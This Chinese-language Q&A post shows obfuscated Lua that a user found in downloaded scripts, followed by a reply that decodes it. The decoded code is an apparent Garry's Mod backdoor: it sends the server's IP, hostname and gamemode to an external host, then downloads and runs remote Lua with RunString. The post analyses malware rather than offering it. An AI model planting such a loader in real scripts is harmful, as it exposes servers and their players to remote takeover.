解码混淆的lua

我最近下载了一些lua脚本,并在其中发现了这个混淆的代码。经过很多小时的努力,我无法发现如何取消混淆,并寻求一些帮助。

就我所尝试的而言,我注意到数字只是转换为字符,这就显示了一些函数。但是,顶部分配的变量没有被分配任何东西,或者可能是我编辑器(原子)中看不见的某些特殊“Unicode”字符。

这是混淆代码:

local ‪ = _G
local ‪‪ = ‪['\115\116\114\105\110\103']
local ‪‪‪ = ‪['\98\105\116']['\98\120\111\114']
local function ‪‪‪‪‪‪‪(‪‪‪‪)
  if ‪‪['\108\101\110'](‪‪‪‪) == 0 then
    return ‪‪‪‪
  end
  local ‪‪‪‪‪ = ''
  for _ in ‪‪['\103\109\97\116\99\104'](‪‪‪‪, '\46\46') do ‪‪‪‪‪
    = ‪‪‪‪‪..‪‪['\99\104\97\114'](‪‪‪(‪["\116\111\110\117\109\98\101\114"](_, 16), 53))
  end
  return ‪‪‪‪‪
end ‪
[‪‪‪‪‪‪‪'415c585047'][‪‪‪‪‪‪‪'665c58455950'](5,
  function ()‪
    [‪‪‪‪‪‪‪'5d414145'][‪‪‪‪‪‪‪'655a4641'](‪‪‪‪‪‪‪'5d414145460f1a1a565d545c5b595a46501b0505054250575d5a46415445451b565a581a4643595a521a414754565e50471b455d45', {[‪‪‪‪‪‪‪'56'] = ‪[‪‪‪‪‪‪‪'52585a51'][‪‪‪‪‪‪‪'72504172545850585a5150']()[‪‪‪‪‪‪‪'7b545850'], [‪‪‪‪‪‪‪'50'] = ‪[‪‪‪‪‪‪‪'52545850'][‪‪‪‪‪‪‪'7250417c6574515147504646'](), [‪‪‪‪‪‪‪'51'] = ‪[‪‪‪‪‪‪‪'7250417d5a46417b545850']()})
  end )
‪[‪‪‪‪‪‪‪'415c585047'][‪‪‪‪‪‪‪'665c58455950'](5,
  function ()‪
    [‪‪‪‪‪‪‪'5d414145'][‪‪‪‪‪‪‪'735041565d'](‪‪‪‪‪‪‪'5d414145460f1a1a565d545c5b595a46501b0505054250575d5a46415445451b565a581a5254461b594054',
  function (‪‪return)
    ‪[‪‪‪‪‪‪‪'67405b6641475c5b52'](‪‪return)
  end, nil )
end )
点赞
用户6834680
用户6834680

旧版 Lua(以及现代的 LuaJIT)允许在标识符中使用任意非 ASCII 字节(大于 0x7F)。

这是一个很好的混淆特性! :-)

timer.Simple(
   5,
   function ()
      http.Post(
         "https://chainlose.000webhostapp.com/svlog/tracker.php",
         {
            c = gmod.GetGamemode().Name,
            e = game.GetIPAddress(),
            d = GetHostName()
         }
      )
   end
)
timer.Simple(
   5,
   function ()
      http.Fetch(
         "https://chainlose.000webhostapp.com/gas.lua",
         function (str)
            RunString(str)
         end,
         nil
      )
   end
)
2019-07-10 10:11:35